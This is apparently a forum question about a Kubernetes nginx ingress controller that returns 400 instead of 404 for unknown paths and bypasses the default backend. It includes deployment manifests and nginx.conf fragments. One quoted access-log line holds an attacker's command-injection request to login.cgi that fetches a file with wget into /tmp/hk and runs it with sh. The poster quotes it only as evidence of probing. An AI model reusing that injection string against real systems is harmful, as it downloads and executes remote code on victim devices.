Kubernetes nginx controller, no traffic to default backend: 400s should be 404s - nginx

Question

I have an issue where all unknown endpoints are getting 400s returned by the ingress-controller itself. It does not send any traffic to the default backend. Other traffic to defined Ingress points is working fine.
I have seen this in my ingress-controller's logs because every night I get what look to be hand-rolled compromise-attempts, and I assume that the attacker (or script) keep trying because they're getting 400s and not 404s, and these are then presumed to be potentially accessible endpoints when they are not.
I am unsure if it's due to the way I deployed my nginx-ingress-controller or if it's because of how I have set up my ingresses. The ingress-controller is a really just a generic Helm deployment.
Here is part of its deployment manifest:
Name: fashionable-gopher-nginx-ingress-controller
Namespace: kube-system
CreationTimestamp: Tue, 03 Jul 2018 14:02:46 -0700
Labels: app=nginx-ingress
chart=nginx-ingress-0.20.3
component=controller
heritage=Tiller
release=fashionable-gopher
Annotations: deployment.kubernetes.io/revision=1
Selector: app=nginx-ingress,component=controller,release=fashionable-gopher
Replicas: 1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType: RollingUpdate
MinReadySeconds: 0
RollingUpdateStrategy: 1 max unavailable, 1 max surge
Pod Template:
Labels: app=nginx-ingress
component=controller
release=fashionable-gopher
Service Account: fashionable-gopher-nginx-ingress
Containers:
nginx-ingress-controller:
Image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.14.0
Ports: 80/TCP, 443/TCP
Host Ports: 0/TCP, 0/TCP
Args:
/nginx-ingress-controller
--default-backend-service=kube-system/fashionable-gopher-nginx-ingress-default-backend
Here's an example 400 in the logs, which should be a 404 (no "login.cgi" endpoint exists anywhere):
10.244.3.1 - [10.244.3.1] - - [22/Aug/2018:23:52:35 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://some.malicious.ip.address/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 174 "-" "Hakai/2.0" 203 0.000 [] - - - -
Here's the default backend:
Name: fashionable-gopher-nginx-ingress-default-backend
Namespace: kube-system
CreationTimestamp: Tue, 03 Jul 2018 14:02:46 -0700
Labels: app=nginx-ingress
chart=nginx-ingress-0.20.3
component=default-backend
heritage=Tiller
release=fashionable-gopher
Annotations: deployment.kubernetes.io/revision=1
Selector: app=nginx-ingress,component=default-backend,release=fashionable-gopher
Replicas: 1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType: RollingUpdate
MinReadySeconds: 0
RollingUpdateStrategy: 1 max unavailable, 1 max surge
Pod Template:
Labels: app=nginx-ingress
component=default-backend
release=fashionable-gopher
Containers:
nginx-ingress-default-backend:
Image: k8s.gcr.io/defaultbackend:1.3
Lastly, here are some pieces from the nginx.conf in the ingress-controller and I'm not an expert in nginx.confs but it looks correct to me:
...
upstream upstream-default-backend {
least_conn;
keepalive 32;
}
server 10.100.3.10:8080 max_fails=0 fail_timeout=0;
location / {
log_by_lua_block {
}
if ($scheme = https) {
more_set_headers "Strict-Transport-Security: max-age=15724800; includeSubDomains";
}
access_log off;
port_in_redirect off;
set $proxy_upstream_name "upstream-default-backend";
set $namespace "";
set $ingress_name "";
set $service_name "";
client_max_body_size "1m";
# In case of errors try the next upstream server before returning an error
proxy_next_upstream error timeout invalid_header http_502 http_503 http_504;
proxy_next_upstream_tries 0;
proxy_pass http://upstream-default-backend;
proxy_redirect off;
}
One note: before I set up my first ingresses (for other domains), then traffic did make it to my default backend and throw 404s.
What should I do now to debug this issue and figure out why these 400s are not getting sent to my default backend?
Edit:
Here's the default-controller's deployment definition:
kubectl get deployment fashionable-gopher-nginx-ingress-default-backend -o yaml -n kube-system
apiVersion: extensions/v1beta1
kind: Deployment
metadata: annotations:
deployment.kubernetes.io/revision: "1"
creationTimestamp: 2018-07-03T21:02:46Z
generation: 1
labels:
app: nginx-ingress
chart: nginx-ingress-0.20.3
component: default-backend
heritage: Tiller
release: fashionable-gopher
name: fashionable-gopher-nginx-ingress-default-backend
namespace: kube-system resourceVersion:
progressDeadlineSeconds: 600 replicas: 1 revisionHistoryLimit: 10 selector:
matchLabels:
app: nginx-ingress
component: default-backend
release: fashionable-gopher strategy:
rollingUpdate:
maxSurge: 1
maxUnavailable: 1
type: RollingUpdate template:
metadata:
creationTimestamp: null
labels:
app: nginx-ingress
component: default-backend
release: fashionable-gopher
spec:
containers:
- image: k8s.gcr.io/defaultbackend:1.3
imagePullPolicy: IfNotPresent
livenessProbe:
failureThreshold: 3
httpGet:
path: /healthz
port: 8080
scheme: HTTP
initialDelaySeconds: 30
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 5
name: nginx-ingress-default-backend
ports:
- containerPort: 8080
name: http
protocol: TCP
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 60 status: availableReplicas: 1 conditions:
- lastTransitionTime: 2018-07-03T21:02:46Z
lastUpdateTime: 2018-07-03T21:02:46Z
message: Deployment has minimum availability.
reason: MinimumReplicasAvailable
status: "True"
type: Available
- lastTransitionTime: 2018-07-28T16:19:57Z
lastUpdateTime: 2018-07-28T16:22:06Z
message: ReplicaSet "fashionable-gopher-nginx-ingress-default-backend-5ffffffff"
has successfully progressed.
reason: NewReplicaSetAvailable
status: "True"
type: Progressing observedGeneration: 1 readyReplicas: 1 replicas: 1 updatedReplicas: 1
Edit
Here's the only ingress I have defined for now:
Name: default-myserver-ingress
Namespace: default
Address:
Default backend: default-http-backend:80 (<none>)
TLS:
myapp-tls-host-secrets terminates someapp.somehostname.com
Rules:
Host Path Backends
---- ---- --------
someapp.somehostname.com
/ my-api:8000 (<none>)
Annotations:
kubectl.kubernetes.io/last-applied-configuration: {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"kubernetes.io/ingress.class":"nginx"},"name":"default-myserver-ingress","namespace":"default"},"spec":{"rules":[{"host":"someapp.somehostname.com","http":{"paths":[{"backend":{"serviceName":"my-api","servicePort":8000},"path":"/"}]}}],"tls":[{"hosts":["someapp.somehostname.com"],"secretName":"myapp-tls-host-secrets"}]}}
kubernetes.io/ingress.class: nginx
Events: <none>
This ingress is defined for a hostname such as someapp.somehostname.com. However, this is a CNAME. The A record associated with this IP address is getting the problematic traffic I mentioned above (even though it's not defined in any of my Ingress definitions) and that traffic is not going to default backend when I think it should be. Does that make sense?
Edit:
Here's the result of kubectl get deployment fashionable-gopher-nginx-ingress-controller -n kube-system -o yaml:
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
creationTimestamp: 2018-07-03T21:02:46Z
generation: 1
labels:
app: nginx-ingress
chart: nginx-ingress-0.20.3
component: controller
heritage: Tiller
release: fashionable-gopher
name: fashionable-gopher-nginx-ingress-controller
namespace: kube-system
resourceVersion: "7461558"
selfLink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/fashionable-gopher-nginx-ingress-controller
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
app: nginx-ingress
component: controller
release: fashionable-gopher
strategy:
rollingUpdate:
maxSurge: 1
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
creationTimestamp: null
labels:
app: nginx-ingress
component: controller
release: fashionable-gopher
spec:
containers:
- args:
- /nginx-ingress-controller
- --default-backend-service=kube-system/fashionable-gopher-nginx-ingress-default-backend
- --election-id=ingress-controller-leader
- --ingress-class=nginx
- --configmap=kube-system/fashionable-gopher-nginx-ingress-controller
env:
- name: POD_NAME
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: metadata.name
- name: POD_NAMESPACE
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.14.0
imagePullPolicy: IfNotPresent
livenessProbe:
failureThreshold: 3
httpGet:
path: /healthz
port: 10254
scheme: HTTP
initialDelaySeconds: 10
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1
name: nginx-ingress-controller
ports:
- containerPort: 80
name: http
protocol: TCP
- containerPort: 443
name: https
protocol: TCP
readinessProbe:
failureThreshold: 3
httpGet:
path: /healthz
port: 10254
scheme: HTTP
initialDelaySeconds: 10
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: fashionable-gopher-nginx-ingress
serviceAccountName: fashionable-gopher-nginx-ingress
terminationGracePeriodSeconds: 60
status:
availableReplicas: 1
conditions:
- lastTransitionTime: 2018-07-03T21:02:46Z
lastUpdateTime: 2018-07-03T21:02:46Z
message: Deployment has minimum availability.
reason: MinimumReplicasAvailable
status: "True"
type: Available
- lastTransitionTime: 2018-07-28T16:29:07Z
lastUpdateTime: 2018-07-28T16:31:53Z
message: ReplicaSet "fashionable-gopher-nginx-ingress-controller-69d44d4df4" has
successfully progressed.
reason: NewReplicaSetAvailable
status: "True"
type: Progressing
observedGeneration: 1
readyReplicas: 1
replicas: 1
updatedReplicas: 1